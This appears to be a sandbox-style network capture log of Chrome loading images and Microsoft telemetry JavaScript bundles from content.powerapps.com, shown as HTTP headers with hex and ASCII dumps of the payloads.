2025-01-15 14:11:55 UTC	9791	IN	Data Raw: 69 a4 00 00 e0 02 9b 1f 99 4a 16 50 93 3c ef 68 c3 f6 98 7a 5e 79 b9 9c b2 d3 a6 d7 d4 8a 26 0a 58 40 32 d8 42 88 18 3c 65 ad fd cb ae 1b af f9 01 a9 40 e4 73 20 52 00 00 48 da ab ef d8 dc 5a 1c 1e 6e 22 13 a8 35 26 9b 55 76 f2 94 d8 8a 57 7e 73 8b 72 d3 67 d4 dc 76 3c 0a 58 40 32 fc 0c 05 2c 44 e6 a0 ac 3e d0 3c 78 68 5e 37 c5 2b c4 84 d9 04 00 20 71 47 0e 75 9d 16 0c 0d 91 08 d4 14 af b9 59 99 b6 f6 98 0e 66 94 ed e8 94 df da 56 9b b9 62 1b 13 90 cc c3 5e 8e cf 1e 42 97 37 32 5f 2d 14 f4 a1 3d ef 58 be 97 74 20 d6 6b 1a 29 00 00 24 3e 13 ea da 75 9a 2d 16 49 04 6a 83 67 94 69 ef 88 af 59 7b 36 ab dc 94 a9 b5 d1 ac 7d b4 f8 33 59 c9 18 ce 1b 20 89 cb 95 cf e3 1e 42 64 ed cd 46 e6 2f 77 dd b8 fc 09 92 81 24 70 45 03 00 24 2e 1f 0c 9f a4 80 02 16 6a e0 61 Data Ascii: iJP<hz^y&X@2B<e@s RHZn"5&UvW~srgv<X@2,D><xh^7+ qGuYfVb^B72_-=Xt k)$>u-IjgiY{6}3Y BdF/w$pE$.ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49776	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:58 UTC	381	OUT	GET /resource/powerappsportal/img/web.png HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:58 UTC	785	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:11:58 GMT Content-Type: image/png Content-Length: 625 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000HN x-ms-static-content: NR0000007 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 0621a9c1-54bf-43c8-b2a6-1f817f6162f4 x-ms-correlation-id: 0fac1554-84d9-4044-b90c-ed96b040fc99 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=7.1,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141158Z-1848b945c76x7snshC1MNZm83800000001ag00000000cpy1 X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:11:58 UTC	625	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 06 49 44 41 54 78 01 9d 52 d1 71 da 40 10 dd 3d 0b 0b f2 65 3a c0 15 44 74 80 2b 80 74 80 2b 40 9e 20 23 e7 27 e4 c3 41 18 7b 2c 55 80 5d 41 70 05 38 15 84 54 00 a9 20 fe 33 42 a0 cd db b3 95 c1 cc c4 33 f1 cd dc cc ed bb dd b7 bb 6f 97 69 e7 84 dd 6e 83 f7 4c 13 cf 16 91 d4 9e e1 19 e3 e6 9c 7d 89 a2 78 b1 ed cf c5 c3 f7 fd 83 8a bb ff 19 41 6d 98 70 e2 03 61 73 64 9d 24 9f 02 57 4c 09 27 83 e1 c5 49 11 67 8a 47 c5 2d 4d 85 f3 ea 63 9a 1d c2 b4 c1 51 14 2d f4 02 3f 06 e6 b9 e9 aa 2e b4 e1 b3 5e f0 43 Data Ascii: PNGIHDRapHYssRGBgAMAaIDATxRq@=e:Dt+t+@ #'A{,U]Ap8T 3B3oinL}xAmpasd$WL'IgG-McQ-?.^C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49772	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:58 UTC	383	OUT	GET /resource/powerappsportal/img/close.png HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:58 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:11:58 GMT Content-Type: image/png Content-Length: 237 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000JX x-ms-static-content: ZE000005G Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: a3c61a82-8fb3-49fb-8645-e085971704d7 x-ms-correlation-id: 3d2702d8-f1ce-4122-923d-27dfb7944132 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=26.9,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141158Z-17f859c6f6b7mmkbhC1MNZg7ks000000011g00000000bgn2 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:11:58 UTC	237	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 0a 08 06 00 00 00 8d 32 cf bd 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 82 49 44 41 54 78 01 8d 8f c1 0d 80 20 10 04 17 28 c2 8b 2f 4b 20 76 64 07 96 a0 1d d8 81 b5 d8 01 76 e0 93 a7 15 a0 ae 09 09 21 f7 60 3f 70 b7 c3 ed e1 c6 d1 ef 5d 27 67 8c f1 86 22 ef fd d0 8b 2c 36 25 ac c6 60 67 43 83 e8 25 60 73 9c 24 22 07 1b 3c f3 e4 0c 3d 0f a6 10 c2 65 ea d7 34 58 97 d0 5f 6b 51 bc 97 10 65 d1 a8 e6 68 a7 2d ae 7d d0 d4 90 b6 33 3d fb 65 2f 1a 44 b1 f7 43 c0 fc 02 da 6f 62 34 31 b0 78 b4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR2pHYssRGBgAMAaIDATx (/K vdv!`?p]'g",6%`gC%`s$"<=e4X_kQeh-}3=e/DCob41xIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49783	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:59 UTC	420	OUT	GET /resource/powerappsportal/dist/client-telemetry-wrapper.bundle-633e70f51b.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:59 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:11:59 GMT Content-Type: application/x-javascript Content-Length: 4807 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000K0 x-ms-static-content: ZE000005G Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 9bf653d3-eade-41b6-be79-1de4939dce90 x-ms-correlation-id: 4e2fe58d-76e2-4ad5-aaea-a3d6d773ac29 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=10.4,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141159Z-1848b945c76qk2l6hC1MNZncb800000000ng000000004enz X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:11:59 UTC	4807	IN	Data Raw: ef bb bf 2f 2f 2f 2f 20 57 72 61 70 70 65 72 20 63 6c 61 73 73 20 66 6f 72 20 63 6c 69 65 6e 74 20 6c 6f 67 67 65 72 20 66 6f 72 20 62 65 6c 6f 77 20 70 75 72 70 6f 73 65 73 0d 0a 2f 2f 2f 2f 20 31 2e 20 41 62 73 74 72 61 63 74 69 6e 67 20 43 53 54 20 66 72 61 6d 65 77 6f 72 6b 20 63 6f 64 65 20 66 72 6f 6d 20 6d 61 6e 75 61 6c 20 74 72 61 63 65 20 6c 6f 67 20 41 50 49 73 2e 20 0d 0a 2f 2f 2f 2f 20 32 2e 20 43 6f 6e 73 74 72 6f 6c 6c 69 6e 67 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 6f 66 20 43 53 54 20 66 72 61 6d 65 77 6f 72 6b 20 63 6f 64 65 20 69 6e 20 63 6c 69 65 6e 74 4c 6f 67 67 65 72 2e 6a 73 20 62 61 73 65 64 20 6f 6e 20 77 68 65 74 68 65 72 20 74 65 6c 65 6d 65 74 72 79 20 69 73 20 65 6e 61 62 6c 65 64 0d 0a 63 6c 61 73 73 20 43 6c 69 65 6e Data Ascii: //// Wrapper class for client logger for below purposes//// 1. Abstracting CST framework code from manual trace log APIs. //// 2. Constrolling instantiation of CST framework code in clientLogger.js based on whether telemetry is enabledclass Clien

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49785	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:59 UTC	412	OUT	GET /resource/powerappsportal/dist/client-telemetry.bundle-ecbf4ab0d0.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:59 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:11:59 GMT Content-Type: application/x-javascript Content-Length: 220208 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000CO x-ms-static-content: ZE0000071 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: adbc398e-3c2d-42cf-8fd9-e26962f83b65 x-ms-correlation-id: 9e8df32e-c11e-4dbc-b544-96f364ff2381 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=14.5,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141159Z-1848b945c76kdldwhC1MNZk55c000000010000000000dtew X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:11:59 UTC	15530	IN	Data Raw: 2f 2a 21 0d 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 41 6e 61 6c 79 74 69 63 73 20 57 65 62 2c 20 33 2e 32 2e 38 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0d 0a 20 2a 2f 0d 0a 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 75 3d 22 66 75 6e 63 74 69 6f 6e 22 2c 73 3d 22 6f 62 6a 65 63 74 22 2c 66 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 66 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 6c 3d 22 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 Data Ascii: /! 1DS JS SDK Analytics Web, 3.2.8 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */var e=this,t=function(n){"use strict";var u="function",s="object",fe="undefined",f="prototype",l="hasOwnProperty
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 6e 3d 7b 7d 3b 74 72 79 7b 51 69 28 74 29 26 26 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 6a 69 29 74 72 79 7b 72 65 74 75 72 6e 20 6a 69 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6e 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 31 7d 63 61 74 63 68 28 69 29 7b 7d 7d 28 74 2c 65 2e 69 64 2c 6e 29 26 26 28 74 5b 65 2e 69 64 5d 3d 6e 29 7d 63 61 74 63 68 28 69 29 7b 7d 7d 72 65 74 75 72 6e 20 6e 7d 28 61 2c 65 29 29 5b 78 74 28 74 29 5d 3d 6e 29 2c 6e 29 7d 2c 6b 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 65 26 26 65 5b 74 5d 29 74 72 79 7b 64 65 6c 65 74 65 20 65 5b 74 5d 7d 63 61 74 63 68 28 6e 29 7b 7d 7d 7d 3b 72 65 74 75 72 6e 20 61 7d 76 61 72 20 65 72 3d 22 74 6f 47 Data Ascii: n={};try{Qi(t)&&!function(e,t,n){if(ji)try{return ji(e,t,{value:n,enumerable:!1,configurable:!0}),1}catch(i){}}(t,e.id,n)&&(t[e.id]=n)}catch(i){}}return n}(a,e))[xt(t)]=n),n)},kill:function(e,t){if(e&&e[t])try{delete e[t]}catch(n){}}};return a}var er="toG
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 6f 3d 65 7d 2c 76 5b 63 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 69 7c 7c 61 7c 7c 24 74 28 79 2e 65 6e 61 62 6c 65 50 65 72 66 4d 67 72 29 26 26 6a 28 65 3d 24 74 28 79 5b 4a 65 5d 29 29 26 26 28 61 3d 65 28 76 2c 76 5b 42 5d 28 29 29 29 2c 69 7c 7c 61 7c 7c 6e 75 6c 6c 7d 2c 76 2e 73 65 74 50 65 72 66 4d 67 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 3d 65 7d 2c 76 2e 65 76 65 6e 74 43 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 5b 78 5d 7d 2c 76 2e 72 65 6c 65 61 73 65 51 75 65 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 70 26 26 30 3c 6e 5b 78 5d 26 26 28 65 3d 6e 2c 6e 3d 5b 5d 2c 74 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 68 28 29 5b 6b 5d 28 65 Data Ascii: on(e){o=e},v[ct]=function(){var e;return i\|\|a\|\|$t(y.enablePerfMgr)&&j(e=$t(y[Je]))&&(a=e(v,v[B]())),i\|\|a\|\|null},v.setPerfMgr=function(e){i=e},v.eventCnt=function(){return n[x]},v.releaseQueue=function(){var e;p&&0<n[x]&&(e=n,n=[],te(e,function(e){h()[k](e
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 2c 69 2e 70 72 6f 70 65 72 74 79 54 79 70 65 29 3b 69 66 28 2d 31 3c 72 29 7b 76 61 72 20 61 3d 65 5b 72 63 5d 2c 6f 3d 28 6f 3d 28 61 3d 61 7c 7c 28 65 5b 72 63 5d 3d 7b 66 3a 7b 7d 7d 29 29 5b 61 63 5d 29 7c 7c 28 61 5b 61 63 5d 3d 7b 7d 29 3b 69 66 28 74 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 74 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 76 61 72 20 75 3d 74 5b 63 5d 2c 6f 3d 28 6f 5b 75 5d 7c 7c 28 6f 5b 75 5d 3d 7b 66 3a 7b 7d 7d 29 2c 6f 5b 75 5d 5b 61 63 5d 7c 7c 28 6f 5b 75 5d 5b 61 63 5d 3d 7b 7d 29 29 3b 6f 3d 6f 5b 6e 5d 3d 7b 7d 2c 45 28 69 2e 76 61 6c 75 65 29 3f 6f 2e 61 3d 7b 74 3a 72 7d 3a 6f 2e 74 3d 72 7d 7d 7d 76 61 72 20 6c 63 3d 22 73 65 6e 64 41 74 74 65 6d 70 74 22 2c 66 63 3d 22 26 4e 6f 52 65 73 70 6f 6e 73 65 42 6f 64 79 3d 74 72 Data Ascii: ,i.propertyType);if(-1<r){var a=e[rc],o=(o=(a=a\|\|(e[rc]={f:{}}))[ac])\|\|(a[ac]={});if(t)for(var c=0;c<t.length;c++)var u=t[c],o=(o[u]\|\|(o[u]={f:{}}),o[u][ac]\|\|(o[u][ac]={}));o=o[n]={},E(i.value)?o.a={t:r}:o.t=r}}}var lc="sendAttempt",fc="&NoResponseBody=tr
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 43 74 78 28 74 29 29 2e 67 65 74 45 78 74 43 66 67 28 6c 2e 69 64 65 6e 74 69 66 69 65 72 29 2c 69 3d 21 21 77 2e 64 69 73 61 62 6c 65 54 65 6c 65 6d 65 74 72 79 3b 28 6e 3f 69 7c 7c 6e 2e 64 69 73 61 62 6c 65 54 65 6c 65 6d 65 74 72 79 3a 69 29 7c 7c 52 7c 7c 28 77 5b 41 63 5d 26 26 28 65 2e 69 4b 65 79 3d 77 5b 41 63 5d 29 2c 6e 26 26 6e 5b 41 63 5d 26 26 28 65 2e 69 4b 65 79 3d 6e 5b 41 63 5d 29 2c 72 28 65 2c 21 30 29 2c 51 3f 73 28 32 2c 32 29 3a 6f 28 29 29 2c 6c 2e 70 72 6f 63 65 73 73 4e 65 78 74 28 65 2c 74 29 7d 2c 6c 2e 5f 64 6f 54 65 61 72 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3b 73 28 32 2c 32 29 2c 52 3d 21 30 2c 50 2e 74 65 61 72 64 6f 77 6e 28 29 2c 65 61 28 6e 75 6c 6c 2c 78 29 2c 6e 61 28 6e 75 6c 6c 2c Data Ascii: Ctx(t)).getExtCfg(l.identifier),i=!!w.disableTelemetry;(n?i\|\|n.disableTelemetry:i)\|\|R\|\|(w[Ac]&&(e.iKey=w[Ac]),n&&n[Ac]&&(e.iKey=n[Ac]),r(e,!0),Q?s(2,2):o()),l.processNext(e,t)},l._doTeardown=function(e,t){var n;s(2,2),R=!0,P.teardown(),ea(null,x),na(null,
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 63 65 43 6f 6e 74 65 78 74 28 65 29 2c 75 2e 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 26 26 6f 2e 61 70 70 6c 79 41 49 54 72 61 63 65 43 6f 6e 74 65 78 74 28 65 29 2c 75 2e 65 6e 61 62 6c 65 44 69 73 74 72 69 62 75 74 65 64 54 72 61 63 69 6e 67 26 26 6f 2e 61 70 70 6c 79 44 69 73 74 72 69 62 75 74 65 64 54 72 61 63 65 43 6f 6e 74 65 78 74 28 65 29 2c 6f 2e 61 70 70 6c 79 43 6c 6f 75 64 43 6f 6e 74 65 78 74 28 65 29 29 2c 74 65 28 47 74 28 72 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 30 3d 3d 3d 47 74 28 72 5b 65 5d 29 2e 6c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 72 5b 65 5d 7d 29 2c 6e 3d 63 2c 69 3d 65 2e 64 61 74 61 2c 6e 26 26 65 65 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 5b 65 5d 7c 7c Data Ascii: ceContext(e),u.enableApplicationInsightsTrace&&o.applyAITraceContext(e),u.enableDistributedTracing&&o.applyDistributedTraceContext(e),o.applyCloudContext(e)),te(Gt(r),function(e){0===Gt(r[e]).length&&delete r[e]}),n=c,i=e.data,n&&ee(n,function(e,t){i[e]\|\|
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 77 66 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 4e 66 3d 77 66 3b 66 75 6e 63 74 69 6f 6e 20 77 66 28 65 29 7b 76 61 72 20 63 3d 74 68 69 73 2c 75 3d 53 69 28 65 29 3b 69 65 28 77 66 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 7a 6c 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 73 56 61 6c 69 64 3d 21 31 3b 76 61 72 20 74 3d 28 74 3d 63 69 28 29 29 26 26 74 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 26 26 30 3c 74 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 61 66 5d 3f 63 69 28 29 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 30 5d 3a 6e 75 6c 6c 2c 6e 3d 45 66 28 29 Data Ascii: )return!1;return!0}wf.__ieDyn=1;var Nf=wf;function wf(e){var c=this,u=Si(e);ie(wf,this,function(e){e[zl]=function(e){e.isValid=!1;var t=(t=ci())&&t.getEntriesByType&&0<t.getEntriesByType("navigation")[af]?ci().getEntriesByType("navigation")[0]:null,n=Ef()
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 26 26 28 69 3d 72 2e 73 6c 69 63 65 28 61 29 29 2c 74 2b 3d 69 29 2c 65 2e 75 72 6c 43 6f 6c 6c 65 63 74 48 61 73 68 26 26 28 74 2b 3d 6e 2e 68 61 73 68 7c 7c 22 22 29 2c 74 29 3a 6e 75 6c 6c 29 29 29 7d 2c 24 66 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 43 6f 6d 6d 6f 6e 50 72 6f 70 65 72 74 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 3b 69 2e 5f 73 65 74 42 61 73 69 63 50 72 6f 70 65 72 74 69 65 73 28 65 2c 6e 29 2c 69 2e 5f 73 65 74 50 61 67 65 54 61 67 73 28 65 2c 6e 29 2c 69 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 3d 51 66 28 69 2e 6d 65 74 61 54 61 67 73 2c 69 2e 5f 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 70 61 67 65 54 79 70 65 22 29 2c 69 Data Ascii: indexOf("?"))&&(i=r.slice(a)),t+=i),e.urlCollectHash&&(t+=n.hash\|\|""),t):null)))},$f.prototype._setCommonProperties=function(e,t,n){var i=this;i._setBasicProperties(e,n),i._setPageTags(e,n),i._pageTypeMetaTag=Qf(i.metaTags,i._config.coreData,"pageType"),i
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 29 2e 70 61 72 65 6e 74 49 64 2c 69 3d 28 74 68 69 73 2e 5f 63 6f 6e 74 65 6e 74 42 6c 6f 62 46 69 65 6c 64 4e 61 6d 65 73 2e 69 73 53 68 6f 72 74 4e 61 6d 65 73 3f 62 64 3a 49 64 29 2e 70 61 72 65 6e 74 4e 61 6d 65 2c 72 3d 74 5b 6e 5d 2c 74 3d 74 5b 69 5d 3b 72 65 74 75 72 6e 20 72 7c 7c 74 7c 7c 21 65 3f 7b 7d 3a 74 68 69 73 2e 5f 70 6f 70 75 6c 61 74 65 50 61 72 65 6e 74 49 6e 66 6f 28 65 2c 6e 2c 69 29 7d 2c 45 64 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 4d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 29 72 65 74 75 72 Data Ascii: ).parentId,i=(this._contentBlobFieldNames.isShortNames?bd:Id).parentName,r=t[n],t=t[i];return r\|\|t\|\|!e?{}:this._populateParentInfo(e,n,i)},Ed.prototype._isTrackedWithDataM=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name)retur
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 79 28 65 29 29 2c 74 2b 6e 7d 76 61 72 20 6c 6e 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 66 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 27 22 27 2b 65 5b 51 65 5d 28 2f 5c 22 2f 67 2c 64 29 2b 27 22 27 3a 64 7d 66 75 6e 63 74 69 6f 6e 20 64 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 21 3d 3d 66 3f 63 6f 6e 73 6f 6c 65 3a 78 28 58 74 29 3b 72 26 26 28 6e 3d 22 6c 6f 67 22 2c 57 28 72 5b 6e 3d 72 5b 65 5d 3f 65 3a 6e 5d 29 29 26 26 72 5b 6e 5d 28 74 29 7d 67 6e 2e 64 61 74 61 54 79 70 65 3d 22 4d 65 73 73 61 67 65 44 61 74 61 22 3b 76 61 72 20 70 6e 3d 67 6e 3b 66 75 6e 63 74 69 6f 6e 20 67 6e 28 65 2c 74 2c 6e 2c 72 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 21 31 29 2c 74 68 69 73 5b 48 65 5d 3d 65 2c Data Ascii: y(e)),t+n}var ln=null;function fn(e){return e?'"'+e[Qe](/\"/g,d)+'"':d}function dn(e,t){var n,r=typeof console!==f?console:x(Xt);r&&(n="log",W(r[n=r[e]?e:n]))&&r[n](t)}gn.dataType="MessageData";var pn=gn;function gn(e,t,n,r){void 0===n&&(n=!1),this[He]=e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49789	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:59 UTC	410	OUT	GET /resource/powerappsportal/dist/pcf-dependency.bundle-805a1661b7.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:59 UTC	826	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:11:59 GMT Content-Type: application/x-javascript Content-Length: 43107 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000JV x-ms-static-content: ZE00000B6 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 07c40486-08cc-4a40-8b90-e0acc5eb1a32 x-ms-correlation-id: e323e457-c40e-4b3c-bb39-cc9819d1d08a x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=12.3,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141159Z-1848b945c76gcx6dhC1MNZgyxg00000001dg000000006xpq X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
